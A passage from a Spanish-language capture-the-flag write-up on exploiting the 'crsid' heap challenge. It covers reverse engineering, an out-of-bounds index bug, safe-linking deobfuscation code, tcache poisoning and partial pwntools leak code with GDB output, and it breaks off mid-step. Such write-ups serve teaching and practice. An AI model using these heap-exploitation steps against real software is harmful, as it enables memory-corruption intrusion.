CRSid
24 minutos de lectura
Se nos proporciona un binario de 64 bits llamado crsid
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Si lo ejecutamos, tenemos que introducir un CRSid
y luego tenemos este menú:
$ ./crsid
██████╗██████╗ ███████╗██╗██████╗
██╔════╝██╔══██╗██╔════╝██║██╔══██╗
██║ ██████╔╝███████╗██║██║ ██║
██║ ██╔══██╗╚════██║██║██║ ██║
╚██████╗██║ ██║███████║██║██████╔╝
╚═════╝╚═╝ ╚═╝╚══════╝╚═╝╚═════╝
[i] Enter your CRSid: asdf
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#]
Ingeniería inversa
Se trata de un reto típico de explotación del heap. El proceso de ingeniería inversa es relativamente sencillo, aunque el binario no tiene símbolos. Esta es la función main
:
int main() {
int err;
int ret;
long in_FS_OFFSET;
int option;
int changed_username;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
printf("[i] Enter your CRSid: ");
read(0, crsid, 32);
option = 0;
changed_username = 0;
do {
menu();
err = __isoc99_scanf("%d", &option);
if (err < 0) {
puts("Something went wrong!");
ret = 1;
goto LAB_001019a6;
}
switch (option) {
default:
puts("Unrecognized command!");
ret = 1;
goto LAB_001019a6;
case 1:
err = create_username();
if (err != 0) {
ret = 1;
goto LAB_001019a6;
}
break;
case 2:
err = delete_username();
if (err != 0) {
ret = 1;
goto LAB_001019a6;
}
break;
case 3:
err = edit_username();
if (err != 0) {
ret = 1;
goto LAB_001019a6;
}
break;
case 4:
err = show_username();
if (err != 0) {
ret = 1;
LAB_001019a6:
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
break;
case 5:
if (changed_username == 0) {
puts("Changed your mind?");
printf("Enter new CRSid: ");
read(0, crsid, 32);
puts("Changed successfully!");
changed_username = 1;
} else {
puts("No, you change your mind too often.");
}
break;
case 6:
ret = 0;
goto LAB_001019a6;
}
} while (true);
}
Función de asignación
La primera opción es para crear usuarios, por lo que la llamaré create_username
:
int create_username() {
int num_users;
int ret;
char *p_user;
num_users = check_users();
if (num_users < 0) {
puts("No more usernames for you!");
ret = 0;
} else {
p_user = (char *) malloc(0x40);
if (p_user == (char *) 0x0) {
puts("Something weird happened.");
ret = 1;
} else {
users[num_users] = p_user;
*p_user = '\0';
puts("A new username appeared!");
ret = 0;
}
}
return ret;
}
Esta función solamente permite asignar chunks de tamaño 0x40
(que serán 0x50
en los metadatos del heap). El número de asignaciones está limitado a 12, y se comprueba en la función denominada check_users
:
int check_users() {
int num_users;
num_users = 0;
while (true) {
if (12 < num_users) {
return -1;
}
if (users[num_users] == (char *) 0x0) break;
num_users = num_users + 1;
}
return num_users;
}
Existe una variable global renombrada como users
que contiene un vector con los 12 punteros de los usuarios.
Función de liberación
Esta es la función para borrar usuarios (delete_username
):
int delete_username() {
int err;
int ret;
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Username index: ");
err = __isoc99_scanf("%d", &index);
if (err < 1) {
puts("That won\'t work.");
ret = 1;
} else if ((index < 0) || (12 < index)) {
puts("Where are you going?");
ret = 1;
} else if (users[index] == (char *) 0x0) {
puts("No such username.");
ret = 1;
} else {
free(users[index]);
users[index] = (char *) 0x0;
puts("Username removed successfully!");
ret = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
Aquí tenemos una vulnerabilidad porque la variable index
puede tener 12
como valor, y los índices de user
van desde 0
hasta 11
. Por tanto, podemos acceder al vector out-of-bounds (OOB). Además, después de la variable global users
, tenemos crsid
, que está bajo nuestro control (lo podemos cambiar con la opción 5
, que aparece en la función main
). Veremos esto luego con GDB.
Función de edición
Esta es la función edit_username
(opción 3
):
int edit_username() {
int err;
int ret;
size_t newline_index;
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Username index: ");
err = __isoc99_scanf("%d", &index);
if (err < 1) {
puts("That won\'t work.");
ret = 1;
} else if ((index < 0) || (12 < index)) {
puts("Where are you going?");
ret = 1;
} else if (users[index] == (char *) 0x0) {
puts("No such username.");
ret = 1;
} else {
printf("Username: ");
read(0, users[index], 0x40);
newline_index = strcspn(users[index], "\n");
users[index][newline_index] = '\0';
puts("Username changed successfully!");
ret = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
La función es correcta, excepto por el acceso OOB. Podemos escribir hasta 0x40
bytes en el chunk, por lo que no podemos desbordar al chunk adyacente.
Función de información
Finalmente, esta es show_username
(opción 4
):
int show_username() {
int err;
int ret;
long in_FS_OFFSET;
int index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Username index: ");
err = __isoc99_scanf("%d", &index);
if (err < 1) {
puts("That won\'t work.");
ret = 1;
} else if ((index < 0) || (12 < index)) {
puts("Where are you going?");
ret = 1;
} else if (users[index] == (char *) 0x0) {
puts("No such username.");
ret = 1;
} else {
printf("Username: ");
puts(users[index]);
ret = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ret;
}
Estrategia de explotación
Para planear la estrategia de explotación, tenemos que tener en cuenta que el binario utiliza Glibc 2.34 (proporcionada en el reto):
$ glibc/ld-2.34.so glibc/libc.so.6
GNU C Library (GNU libc) stable release version 2.34.
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.1.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://www.gnu.org/software/libc/bugs.html>.
Safe-linking
Esta es una versión de Glibc bastante protegida. Si miramos en how2heap, veremos que utiliza safe-linking para ofuscar los punteros forward (fd
) en chunks liberados. Podemos verlo en GDB:
$ gdb -q crsid
Reading symbols from crsid...
(No debugging symbols found in crsid)
pwndbg> run
Starting program: ./crsid
██████╗██████╗ ███████╗██╗██████╗
██╔════╝██╔══██╗██╔════╝██║██╔══██╗
██║ ██████╔╝███████╗██║██║ ██║
██║ ██╔══██╗╚════██║██║██║ ██║
╚██████╗██║ ██║███████║██║██████╔╝
╚═════╝╚═╝ ╚═╝╚══════╝╚═╝╚═════╝
[i] Enter your CRSid: asdf
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 1
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 1
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 2
Username index: 1
Username removed successfully!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] 2
Username index: 0
Username removed successfully!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ec15ce in __GI___libc_read (fd=0, buf=0x7ffff7fb4b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> vis_heap_chunks
0x555555559000 0x0000000000000000 0x0000000000000291 ................
0x555555559010 0x0002000000000000 0x0000000000000000 ................
0x555555559020 0x0000000000000000 0x0000000000000000 ................
0x555555559030 0x0000000000000000 0x0000000000000000 ................
0x555555559040 0x0000000000000000 0x0000000000000000 ................
0x555555559050 0x0000000000000000 0x0000000000000000 ................
0x555555559060 0x0000000000000000 0x0000000000000000 ................
0x555555559070 0x0000000000000000 0x0000000000000000 ................
0x555555559080 0x0000000000000000 0x0000000000000000 ................
0x555555559090 0x0000000000000000 0x0000000000000000 ................
0x5555555590a0 0x0000000000000000 0x00005555555592a0 ..........UUUU..
0x5555555590b0 0x0000000000000000 0x0000000000000000 ................
0x5555555590c0 0x0000000000000000 0x0000000000000000 ................
0x5555555590d0 0x0000000000000000 0x0000000000000000 ................
0x5555555590e0 0x0000000000000000 0x0000000000000000 ................
0x5555555590f0 0x0000000000000000 0x0000000000000000 ................
0x555555559100 0x0000000000000000 0x0000000000000000 ................
0x555555559110 0x0000000000000000 0x0000000000000000 ................
0x555555559120 0x0000000000000000 0x0000000000000000 ................
0x555555559130 0x0000000000000000 0x0000000000000000 ................
0x555555559140 0x0000000000000000 0x0000000000000000 ................
0x555555559150 0x0000000000000000 0x0000000000000000 ................
0x555555559160 0x0000000000000000 0x0000000000000000 ................
0x555555559170 0x0000000000000000 0x0000000000000000 ................
0x555555559180 0x0000000000000000 0x0000000000000000 ................
0x555555559190 0x0000000000000000 0x0000000000000000 ................
0x5555555591a0 0x0000000000000000 0x0000000000000000 ................
0x5555555591b0 0x0000000000000000 0x0000000000000000 ................
0x5555555591c0 0x0000000000000000 0x0000000000000000 ................
0x5555555591d0 0x0000000000000000 0x0000000000000000 ................
0x5555555591e0 0x0000000000000000 0x0000000000000000 ................
0x5555555591f0 0x0000000000000000 0x0000000000000000 ................
0x555555559200 0x0000000000000000 0x0000000000000000 ................
0x555555559210 0x0000000000000000 0x0000000000000000 ................
0x555555559220 0x0000000000000000 0x0000000000000000 ................
0x555555559230 0x0000000000000000 0x0000000000000000 ................
0x555555559240 0x0000000000000000 0x0000000000000000 ................
0x555555559250 0x0000000000000000 0x0000000000000000 ................
0x555555559260 0x0000000000000000 0x0000000000000000 ................
0x555555559270 0x0000000000000000 0x0000000000000000 ................
0x555555559280 0x0000000000000000 0x0000000000000000 ................
0x555555559290 0x0000000000000000 0x0000000000000051 ........Q.......
0x5555555592a0 0x000055500000c7a9 0x0f26857560c7a3e2 ....PU.....`u.&. <-- tcachebins[0x50][0/2]
0x5555555592b0 0x0000000000000000 0x0000000000000000 ................
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000000 ................
0x5555555592e0 0x0000000000000000 0x0000000000000051 ........Q.......
0x5555555592f0 0x0000000555555559 0x0f26857560c7a3e2 YUUU.......`u.&. <-- tcachebins[0x50][1/2]
0x555555559300 0x0000000000000000 0x0000000000000000 ................
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000020cd1 ................ <-- Top chunk
pwndbg> bins
tcachebins
0x50 [ 2]: 0x5555555592a0 —▸ 0x5555555592f0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
Lo que hace safe-linking es cifrar el puntero fd
original con XOR usando como clave la dirección del heap desplazada 12 bits a la derecha:
fd = 0x00005555555592f0
key = 0x0000000555555559
------------------------
res = 0x000055500000c7a9
Sin embargo, esta mitigación es inútil por cómo funciona ASLR. La clave de cifrado está formada por los bits que no cambian de las direcciones del heap. La dirección base del heap termina en 000
en hexadecimal (12 bits).
Entonces, supongamos que fugamos un puntero fd
ofuscado: 0x000055500000c7a9
. Sabemos que 555
son parte del fd
real:
leak = 0x000055500000c7a9
key = 0x0000000*********
-------------------------
fd = 0x0000555*********
Luego podemos continuar con los siguientes tres dígitos hexadecimales: 0x555 ^ 0x000 = 0x555
.
leak = 0x000055500000c7a9
key = 0x0000000555******
-------------------------
fd = 0x0000555555******
Y después los siguientes: 00c ^ 0x555 = 0x559
.
leak = 0x000055500000c7a9
key = 0x0000000555555***
-------------------------
fd = 0x0000555555559***
Y finalmente: 0x7a9 ^ 0x559 = 0x2f0
.
leak = 0x000055500000c7a9
key = 0x0000000555555559
-------------------------
fd = 0x00005555555592f0
Por tanto, podemos obtener el fd
original a partir del ofuscado.
Estas son dos funciones para ofuscar y desofuscar punteros (tomadas de [CSR20] HowToHeap - Libc 2.32):
def deobfuscate(x: int, l: int = 64) -> int:
p = 0
for i in range(l * 4, 0, -4):
v1 = (x & (0xf << i)) >> i
v2 = (p & (0xf << i + 12 )) >> i + 12
p |= (v1 ^ v2) << i
return p
def obfuscate(ptr: int, addr: int) -> int:
return ptr ^ (addr >> 12)
Tcache poisoning
Como Glibc 2.34 usa Tcache, la idea es realizar un ataque de Tcache poisoning. Para esto, tendremos que modificar el puntero fd
de un chunk liberado (Write After Free), de forma que se corrompa la lista enlazada del Tcache y crear un chunk en una dirección controlada.
En algún momento, tendremos que fugar una dirección de Glibc. La manera de hacer esto tiene truco. La idea es forzar a que scanf
tenga que crear un chunk grande para que se aplique consolidación del heap (malloc_consolidate
, más información aquí). Si llenamos el Tcache de tamaño 0x50
(7 chunks), el siguiente chunk liberado irá al Fast Bin. Una vez que scanf
maneje una cadena larga (mínimo de 1024 caracteres), el chunk de Fast Bin se enviará al Small Bin (dejando punteros fd
y bk
de main_arena
) debido a la consolidación.
Podemos probarlo así:
def main():
p = get_process()
gdb.attach(p, gdbscript='continue')
p.sendlineafter(b'[i] Enter your CRSid: ', b'asdf')
for _ in range(8):
create(p)
for i in range(7, -1, -1):
delete(p, i)
input('Before large string...')
p.sendline(b'0' * 1023 + b'1')
input('After large string...')
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 953757
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '953757', '-x', '/tmp/pwng458iat1.gdb']
[+] Waiting for debugger: Done
Before large string...
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 953757
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f3a112925ce in __GI___libc_read (fd=0, buf=0x557a3afba0c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007f3a112925ce in __GI___libc_read (fd=0, buf=0x7fb2c71d2b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> bins
tcachebins
0x50 [ 7]: 0x5594e7ebc2f0 —▸ 0x5594e7ebc340 —▸ 0x5594e7ebc390 —▸ 0x5594e7ebc3e0 —▸ 0x5594e7ebc430 —▸ 0x5594e7ebc480 —▸ 0x5594e7ebc4d0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x5594e7ebc290 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> continue
Continuing.
Como vemos, tenemos un chunk en el Fast Bin en 0x5594e7ebc290
. Si pulsamos ENTER
para enviar la cadena larga, veremos el chunk en el Small Bin:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 953757
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '953757', '-x', '/tmp/pwng458iat1.gdb']
[+] Waiting for debugger: Done
Before large string...
After large string...
^C
Program received signal SIGINT, Interrupt.
0x00007f3a112925ce in __GI___libc_read (fd=0, buf=0x7fb2c71d2b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> bins
tcachebins
0x50 [ 6]: 0x5594e7ebc340 —▸ 0x5594e7ebc390 —▸ 0x5594e7ebc3e0 —▸ 0x5594e7ebc430 —▸ 0x5594e7ebc480 —▸ 0x5594e7ebc4d0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x5594e7ebc290 —▸ 0x7fb2c71d2d00 (main_arena+160) ◂— 0x5594e7ebc290
largebins
empty
Ahí lo tenemos, en la misma dirección 0x5594e7ebc290
.
Variables globales
Podemos ver las variables globales en el siguiente espacio de memoria:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5594e6cb0000 0x5594e6cb1000 r--p 1000 0 ./crsid
0x5594e6cb1000 0x5594e6cb2000 r-xp 1000 1000 ./crsid
0x5594e6cb2000 0x5594e6cb3000 r--p 1000 2000 ./crsid
0x5594e6cb3000 0x5594e6cb4000 r--p 1000 2000 ./crsid
0x5594e6cb4000 0x5594e6cb5000 rw-p 1000 3000 ./crsid
0x5594e7ebc000 0x5594e7edd000 rw-p 21000 0 [heap]
0x7fb2c6fe3000 0x7fb2c6fe6000 rw-p 3000 0 [anon_7fb2c6fe3]
0x7fb2c6fe6000 0x7fb2c7012000 r--p 2c000 0 ./glibc/libc.so.6
0x7fb2c7012000 0x7fb2c7179000 r-xp 167000 2c000 ./glibc/libc.so.6
0x7fb2c7179000 0x7fb2c71ce000 r--p 55000 193000 ./glibc/libc.so.6
0x7fb2c71ce000 0x7fb2c71cf000 ---p 1000 1e8000 ./glibc/libc.so.6
0x7fb2c71cf000 0x7fb2c71d2000 r--p 3000 1e8000 ./glibc/libc.so.6
0x7fb2c71d2000 0x7fb2c71d5000 rw-p 3000 1eb000 ./glibc/libc.so.6
0x7fb2c71d5000 0x7fb2c71e4000 rw-p f000 0 [anon_7fb2c71d5]
0x7fb2c71e4000 0x7fb2c71e5000 r--p 1000 0 ./glibc/ld-2.34.so
0x7fb2c71e5000 0x7fb2c7209000 r-xp 24000 1000 ./glibc/ld-2.34.so
0x7fb2c7209000 0x7fb2c7213000 r--p a000 25000 ./glibc/ld-2.34.so
0x7fb2c7213000 0x7fb2c7215000 r--p 2000 2e000 ./glibc/ld-2.34.so
0x7fb2c7215000 0x7fb2c7217000 rw-p 2000 30000 ./glibc/ld-2.34.so
0x7ffdf29cb000 0x7ffdf29ec000 rw-p 21000 0 [stack]
0x7ffdf29f3000 0x7ffdf29f7000 r--p 4000 0 [vvar]
0x7ffdf29f7000 0x7ffdf29f9000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> x/30gx 0x5594e6cb4000
0x5594e6cb4000: 0x0000000000000000 0x00005594e6cb4008
0x5594e6cb4010: 0x0000000000000000 0x0000000000000000
0x5594e6cb4020 <stdout>: 0x00007fb2c71d3760 0x0000000000000000
0x5594e6cb4030 <stdin>: 0x00007fb2c71d2a80 0x0000000000000000
0x5594e6cb4040 <stderr>: 0x00007fb2c71d3680 0x0000000000000000
0x5594e6cb4050: 0x0000000000000000 0x0000000000000000
0x5594e6cb4060: 0x00005594e7ebc2f0 0x0000000000000000
0x5594e6cb4070: 0x0000000000000000 0x0000000000000000
0x5594e6cb4080: 0x0000000000000000 0x0000000000000000
0x5594e6cb4090: 0x0000000000000000 0x0000000000000000
0x5594e6cb40a0: 0x0000000000000000 0x0000000000000000
0x5594e6cb40b0: 0x0000000000000000 0x0000000000000000
0x5594e6cb40c0: 0x0000000a66647361 0x0000000000000000
0x5594e6cb40d0: 0x0000000000000000 0x0000000000000000
0x5594e6cb40e0: 0x0000000000000000 0x0000000000000000
El vector de users
empieza en 0x5594e6cb4060
. Hay 12 huecos, y el siguiente corresponde a la variable global crsid
(donde pusimos asdf\n
, que es 0x0a66647361
en formato hexadecimal, little-endian).
Desarrollo del exploit
En este punto, podemos fugar el puntero fd
ofuscado y el puntero fd
del chunk del Small Bin para calcular las direcciones base del heap y de Glibc, respectivamente. Este es el estado del heap:
pwndbg> vis_heap_chunks
0x5594e7ebc000 0x0000000000000000 0x0000000000000291 ................
0x5594e7ebc010 0x0006000000000000 0x0000000000000000 ................
0x5594e7ebc020 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc030 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc040 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc050 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc060 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc070 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc080 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc090 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0a0 0x0000000000000000 0x00005594e7ebc340 ........@....U..
0x5594e7ebc0b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0d0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0e0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc0f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc100 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc110 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc120 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc130 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc140 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc150 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc160 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc170 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc180 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc190 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1a0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1d0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1e0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc1f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc200 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc210 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc220 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc230 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc240 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc250 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc260 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc270 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc280 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc290 0x0000000000000000 0x0000000000000051 ........Q....... <-- smallbins[0x50][0]
0x5594e7ebc2a0 0x00007fb2c71d2d00 0x00007fb2c71d2d00 .-.......-......
0x5594e7ebc2b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc2c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc2d0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc2e0 0x0000000000000050 0x0000000000000050 P.......P.......
0x5594e7ebc2f0 0x00005591bea5bd00 0x0000000000000000 .....U..........
0x5594e7ebc300 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc310 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc320 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc330 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc340 0x00005591bea5bd2c 0x6685522b4639b16f ,....U..o.9F+R.f <-- tcachebins[0x50][0/6]
0x5594e7ebc350 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc360 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc370 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc380 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc390 0x00005591bea5bd5c 0x6685522b4639b16f \....U..o.9F+R.f <-- tcachebins[0x50][1/6]
0x5594e7ebc3a0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc3b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc3c0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc3d0 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc3e0 0x00005591bea5ba8c 0x6685522b4639b16f .....U..o.9F+R.f <-- tcachebins[0x50][2/6]
0x5594e7ebc3f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc400 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc410 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc420 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc430 0x00005591bea5ba3c 0x6685522b4639b16f <....U..o.9F+R.f <-- tcachebins[0x50][3/6]
0x5594e7ebc440 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc450 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc460 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc470 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc480 0x00005591bea5ba6c 0x6685522b4639b16f l....U..o.9F+R.f <-- tcachebins[0x50][4/6]
0x5594e7ebc490 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4a0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4b0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4c0 0x0000000000000000 0x0000000000000051 ........Q.......
0x5594e7ebc4d0 0x00000005594e7ebc 0x6685522b4639b16f .~NY....o.9F+R.f <-- tcachebins[0x50][5/6]
0x5594e7ebc4e0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc4f0 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc500 0x0000000000000000 0x0000000000000000 ................
0x5594e7ebc510 0x0000000000000000 0x0000000000020af1 ................ <-- Top chunk
Fugando direcciones de memoria
Primero, vamos a coger la dirección base del heap:
edit(p, 0, b'A')
fd = u64(show(p, 0)[1:].ljust(8, b'\0'))
heap_base_addr = deobfuscate(fd) << 8
log.success(f'Heap base address: {hex(heap_base_addr)}')
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 968613
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '968613', '-x', '/tmp/pwn0ajdf_fe.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x55a9f0608000
[*] Switching to interactive mode
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 968613
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007fe28ae745ce in __GI___libc_read (fd=0, buf=0x55a9ef27d0c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007fe28ae745ce in __GI___libc_read (fd=0, buf=0x7fe28af67b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55a9ef279000 0x55a9ef27a000 r--p 1000 0 ./crsid
0x55a9ef27a000 0x55a9ef27b000 r-xp 1000 1000 ./crsid
0x55a9ef27b000 0x55a9ef27c000 r--p 1000 2000 ./crsid
0x55a9ef27c000 0x55a9ef27d000 r--p 1000 2000 ./crsid
0x55a9ef27d000 0x55a9ef27e000 rw-p 1000 3000 ./crsid
0x55a9f0608000 0x55a9f0629000 rw-p 21000 0 [heap]
0x7fe28ad78000 0x7fe28ad7b000 rw-p 3000 0 [anon_7fe28ad78]
0x7fe28ad7b000 0x7fe28ada7000 r--p 2c000 0 ./glibc/libc.so.6
0x7fe28ada7000 0x7fe28af0e000 r-xp 167000 2c000 ./glibc/libc.so.6
0x7fe28af0e000 0x7fe28af63000 r--p 55000 193000 ./glibc/libc.so.6
0x7fe28af63000 0x7fe28af64000 ---p 1000 1e8000 ./glibc/libc.so.6
0x7fe28af64000 0x7fe28af67000 r--p 3000 1e8000 ./glibc/libc.so.6
0x7fe28af67000 0x7fe28af6a000 rw-p 3000 1eb000 ./glibc/libc.so.6
0x7fe28af6a000 0x7fe28af79000 rw-p f000 0 [anon_7fe28af6a]
0x7fe28af79000 0x7fe28af7a000 r--p 1000 0 ./glibc/ld-2.34.so
0x7fe28af7a000 0x7fe28af9e000 r-xp 24000 1000 ./glibc/ld-2.34.so
0x7fe28af9e000 0x7fe28afa8000 r--p a000 25000 ./glibc/ld-2.34.so
0x7fe28afa8000 0x7fe28afaa000 r--p 2000 2e000 ./glibc/ld-2.34.so
0x7fe28afaa000 0x7fe28afac000 rw-p 2000 30000 ./glibc/ld-2.34.so
0x7ffe144aa000 0x7ffe144cb000 rw-p 21000 0 [stack]
0x7ffe14521000 0x7ffe14525000 r--p 4000 0 [vvar]
0x7ffe14525000 0x7ffe14527000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Todo parece correcto. Nótese que el índice 0
es el único chunk que hemos asignado (dirección base del heap más 0x2f0
), y tenemos que sobrescribir un byte nulo con otro carácter (por ejemplo una A
